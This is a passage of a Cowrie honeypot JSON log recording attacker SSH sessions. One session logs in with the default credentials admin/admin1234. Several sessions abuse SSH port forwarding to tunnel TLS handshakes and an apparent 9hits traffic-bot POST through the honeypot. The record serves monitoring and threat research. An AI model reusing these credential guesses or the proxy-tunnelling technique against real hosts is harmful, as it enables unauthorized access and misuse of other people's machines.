\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 R\\xcd\\xd1\\x8aJ<\\xc1\\x1e\\xed\\xe6\\x90\\x0ei\\xcc\\xa7\\x08\\x1d_0H\\xa2\\xaa/;\\xb2\\xaf\\xbf\\xb7\\xe8\\xeb'\\x1f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:36.374323Z","src_ip":"173.208.188.210","session":"983c2bc76aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:36.419749Z","session":"983c2bc76aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:36.436781Z","session":"983c2bc76aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:36.470104Z","src_ip":"173.208.188.210","session":"983c2bc76aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8b\\x0e\\xe2R\\x92\\xd0+\\xc8\\xc4\\x0b?\\x13u\\xff?f\\xeb\\xdd\\x15\\xb7A5\\\\\\xd4\\xe3\\xe8!\\x01\\xd0\\x88iB \\x0b\\x9f\\x04\\xfep\\x9fR\\x7f^\\xabh\\x8a\\x06\\xads\\xa2\\xfd\\xe7\\xaa\\x89\\xbf\\xd3I\\x06\\xdbP\\x99\\xfc\\\\\\xe9\\t|\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x906#\\xbe\\xa0\\\\S)\\x91\\xc5\\x8c\\t[5\\xa7\\xec{.\\xac\\xa2\\xeb.\\xad%\\x88\\xce\\xa1j$\\xf0A\\x00\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":5,"message":"discarded direct-tcp forward request 5 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8b\\x0e\\xe2R\\x92\\xd0+\\xc8\\xc4\\x0b?\\x13u\\xff?f\\xeb\\xdd\\x15\\xb7A5\\\\\\xd4\\xe3\\xe8!\\x01\\xd0\\x88iB \\x0b\\x9f\\x04\\xfep\\x9fR\\x7f^\\xabh\\x8a\\x06\\xads\\xa2\\xfd\\xe7\\xaa\\x89\\xbf\\xd3I\\x06\\xdbP\\x99\\xfc\\\\\\xe9\\t|\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x906#\\xbe\\xa0\\\\S)\\x91\\xc5\\x8c\\t[5\\xa7\\xec{.\\xac\\xa2\\xeb.\\xad%\\x88\\xce\\xa1j$\\xf0A\\x00\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:36.472867Z","src_ip":"173.208.188.210","session":"983c2bc76aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:36.478351Z","src_ip":"173.208.188.210","session":"983c2bc76aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x98\\x0b\\xd8\\xa2\\xfb\\xae\\xb6\\x1f\\xfe\\x96bYF\\x80\\x0b7\\xf9\\x95\\x90\\x06\\xe9\\xdb\\x8eY\\xb2RF\\xc3\\\\\\xe4\\xe5\\xa4 /:\\r\\xd4\\xac\\xcb\\x93\\xd4\\x8bT@WC\\x0f\\\\\\xd5/B\\x02\\x1d\\x008\\x99A\\xcdj\\xe3\\x0c\\x1b\\xd9\\xcb^\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd5\\x9a\\xa7d@\\xe7}1\\xda\\xac\\xeeT4\\x0f4\\xbf]/\\xed\\xec\\xd0<e\\x9a\\x84\\xce\\n\\x18 \\xf4\\x82C\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":4,"message":"discarded direct-tcp forward request 4 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x98\\x0b\\xd8\\xa2\\xfb\\xae\\xb6\\x1f\\xfe\\x96bYF\\x80\\x0b7\\xf9\\x95\\x90\\x06\\xe9\\xdb\\x8eY\\xb2RF\\xc3\\\\\\xe4\\xe5\\xa4 /:\\r\\xd4\\xac\\xcb\\x93\\xd4\\x8bT@WC\\x0f\\\\\\xd5/B\\x02\\x1d\\x008\\x99A\\xcdj\\xe3\\x0c\\x1b\\xd9\\xcb^\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd5\\x9a\\xa7d@\\xe7}1\\xda\\xac\\xeeT4\\x0f4\\xbf]/\\xed\\xec\\xd0<e\\x9a\\x84\\xce\\n\\x18 \\xf4\\x82C\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:36.481056Z","src_ip":"173.208.188.210","session":"983c2bc76aea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.8","message":"Connection lost after 23.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:41.806856Z","src_ip":"173.208.188.210","session":"983c2bc76aea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.73664426803589,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:03.166867Z","src_ip":"50.65.170.8","session":"ef3d35d351df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":63876,"dst_ip":"10.17.0.5","dst_port":22,"session":"32f5e7202ab4","protocol":"ssh","message":"New connection: 123.27.168.40:63876 (10.17.0.5:22) [session: 32f5e7202ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:07.375091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:07.378666Z","src_ip":"123.27.168.40","session":"32f5e7202ab4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:07.609568Z","src_ip":"123.27.168.40","session":"32f5e7202ab4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:08.771177Z","src_ip":"123.27.168.40","session":"32f5e7202ab4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:09.207943Z","session":"32f5e7202ab4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:09.363558Z","session":"32f5e7202ab4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:09.715430Z","src_ip":"123.27.168.40","session":"32f5e7202ab4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=OSh1TDczSl59fVN6aWxNeA%3D%3DmT7ynZ6c609BBz9TLah07zlFGAe9y5Mc2Utp%2F1zv6Wxj7PvlP8yvDs0n9HwCU3qqYDzBTolzBejA4XNpngagxtCxpRaxqewIO7pGAKQl%2B0qbO5LHn4ySCPxFG4EDBKsWe9ttiLOS5X8CheC6NRuBb%2B1TT9t%2FIgMc9kONHCcUg3j8Tx13lA25CvLbSaVxzfiEoJUeJDCo1cCCVVAYZNhE%2F1RFiooUhwSUTIZtSl64zoOILA%2FWpr24cFFJJWUe1XA4GpJJgGzsABTDKn9%2BHAM0RXiyU82qzD%2FKybJ68kFKJi57oe6tKJBKPSbebEYEalsP28rF2e08ipunBT8jLdOy1n0rmSPvkyHChOglMFuuBaL7OpPvmYJO8e0KcYzm93uX%2FpRPVmUdWpAZR%2B1jAe%2Bee4ViaR3meCQhsnOxWW%2BPwhhxAiC%2BXwyKxDJqcHhq3%2BkQG22e9EFAlXGwp6rvhjNxkzIk53adWmYVYW3x3WHjd%2BIREKq04XgyHIsVDpqNFI49Aqcr7bQwU76%2B9bT9He%2FjTzfEicH52dP7OBn1e92UVVBdY%2FAd85o5JJ7LfAF9UmU5EkeqbKRqfta%2Fz5BoEAO%2BFsFbU7X0iIhur%2FbrmcmZhqx2H9BD249bIyLRkVOEdM%2BVCbgkHJfZY7Kz5PyYWVMqVHPORKoZhWb56GDXC2rBnx7N0Z93X7V1Ih5bOHf7O7z9KhiYULY7pYGvokXV6HVgT9Bo4A3ldiXYPzqFiM24ymDbp6xq27eeIDy77%2BMgW3RYM4WAiDDfEPzAUTKjbHAbF8Y2ZViv5dySOB2NzIQp8U%2B3NKBob1QlT5LA5WASFMI5TQRNcydxVoqjt%2BjEfTyy7uZtBgzake4dyrZXhOvZdDbMJtma417k687FNL6Otg1BZLxB%2Fd0sCjmnnbuDCz%2F26QSI7n03xPV%2BjbMIyzTex3iMPDDbciX8pGS9s74wDRqKAloTsmXdRlXRkuLRW70nDvre1nz5f2lijiCFgl8YTzios6tRdjrBisSV3cC%2BrnV4UKPBJMEmA8h913bkBcAEZ7uR7xKIIFWZ1OJCmjrl2aNRPrxdb4pBjYfWItpiq5NH'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, 